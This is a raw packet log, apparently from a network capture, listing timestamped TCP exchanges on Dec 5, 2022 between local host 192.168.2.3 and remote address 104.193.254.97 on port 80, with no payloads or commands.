Dec 5, 2022 06:44:47.260247946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.260313034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.260345936 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.260534048 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261419058 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261445999 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261466026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261481047 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261502981 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261518955 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261523008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261538982 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261558056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261559963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261579037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261593103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261611938 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261611938 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261632919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261652946 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261667013 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261684895 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261696100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261708021 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261715889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261730909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261749983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261770010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261784077 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261785030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261816978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261837006 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261845112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261852026 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261872053 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261893034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261899948 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.261908054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.261960983 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.301549911 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.301604986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.301630974 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.301666975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.301728010 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.382985115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.383060932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.383094072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.383136034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.383132935 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.383181095 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.383213997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.383239031 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.387080908 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387145042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387176991 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387212038 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.387218952 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387262106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387293100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387325048 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.387336016 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387377977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387396097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.387412071 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387454987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387501955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387518883 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.387531996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387573004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387615919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.387624025 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.387648106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.417117119 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.417145967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.417160034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.417177916 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.417196989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.417212009 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.417224884 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.417294979 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.419671059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419698954 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419718027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419737101 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419754028 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419775963 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.419794083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419807911 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.419816017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419836044 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419848919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419867039 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419883966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419893026 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.419898987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.419917107 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.422691107 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.422713995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.422729969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.422800064 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.423894882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.423914909 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.423928022 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.423948050 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.423964977 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.423965931 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.423981905 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424000978 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.424041033 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424060106 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424074888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424092054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424101114 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.424112082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424125910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424144983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424156904 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.424163103 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424182892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424197912 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424206018 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.424216986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424236059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424241066 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.424249887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424310923 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.424391985 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424412966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424427986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424444914 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424463034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424472094 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.424477100 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424525976 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.424649000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424666882 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424700975 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.424735069 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.465040922 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.465073109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.465089083 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.465142965 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.545603037 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545667887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545703888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545744896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545787096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545794964 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.545818090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545859098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545869112 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.545902967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545933962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.545958042 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.550005913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550066948 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550110102 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550143957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550184965 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550189018 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.550225973 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550257921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550282001 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.550298929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550340891 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550353050 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.550370932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550417900 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550461054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.550477982 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.550492048 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.581639051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.581705093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.581737995 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.581780910 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.581823111 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.581841946 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.581841946 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.581855059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.583986998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584049940 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584083080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584125996 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584150076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.584167957 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584197998 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584224939 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.584240913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584284067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584291935 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.584316969 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584357977 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584399939 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584438086 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.584459066 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.585927010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.585973978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.586004019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.586007118 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.586803913 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.586847067 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.586896896 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.586921930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.587033987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587075949 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587105989 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587146997 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587157965 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.587188959 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587222099 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587245941 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.587264061 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587306976 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587338924 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587361097 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.587379932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587424994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587429047 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.587466955 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587496042 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587519884 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.587538004 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587614059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587645054 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587667942 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.587686062 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587727070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587755919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587805986 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.587831020 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587938070 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.587966919 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.588007927 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.588021040 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.588049889 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.588079929 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.588129997 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.630734921 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.630800962 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.630840063 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.630930901 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.708388090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708460093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708492994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708533049 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708575010 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708590031 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.708606958 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708643913 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.708651066 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708693027 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708723068 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708762884 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708776951 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.708803892 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708848000 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.708897114 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.712656021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.712717056 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.712754011 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.712814093 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.712819099 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.712878942 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.712917089 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.712959051 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.712971926 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.713001966 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.713032007 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.713053942 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.713073015 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.713114023 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.713143110 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.713164091 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.744469881 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.744537115 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.744570017 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.744611025 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.744620085 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.744652987 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.744688034 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.744751930 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.746615887 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.746675968 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.746709108 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.746750116 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.746773958 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.746792078 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.746823072 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.746864080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.746887922 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.746932030 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.746963978 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.747004986 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.747046947 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.747061014 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.747076035 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.747109890 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.748101950 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.748147964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.748176098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.748224020 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.749032021 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.749077082 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.749109983 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.749147892 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.749739885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.749783993 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.749813080 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.749844074 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.749958038 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750001907 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750030994 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750072956 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750091076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.750113964 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750144005 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750184059 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750194073 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.750247002 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750291109 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750302076 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.750335932 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750377893 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750408888 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750451088 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750459909 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.750492096 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750523090 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750549078 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.750564098 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750607967 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750638008 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750662088 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.750680923 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750722885 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750751019 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750772953 CET	49705	80	192.168.2.3	104.193.254.97
Dec 5, 2022 06:44:47.750791073 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750832081 CET	80	49705	104.193.254.97	192.168.2.3
Dec 5, 2022 06:44:47.750863075 CET	80	49705	104.193.254.97	192.168.2.3
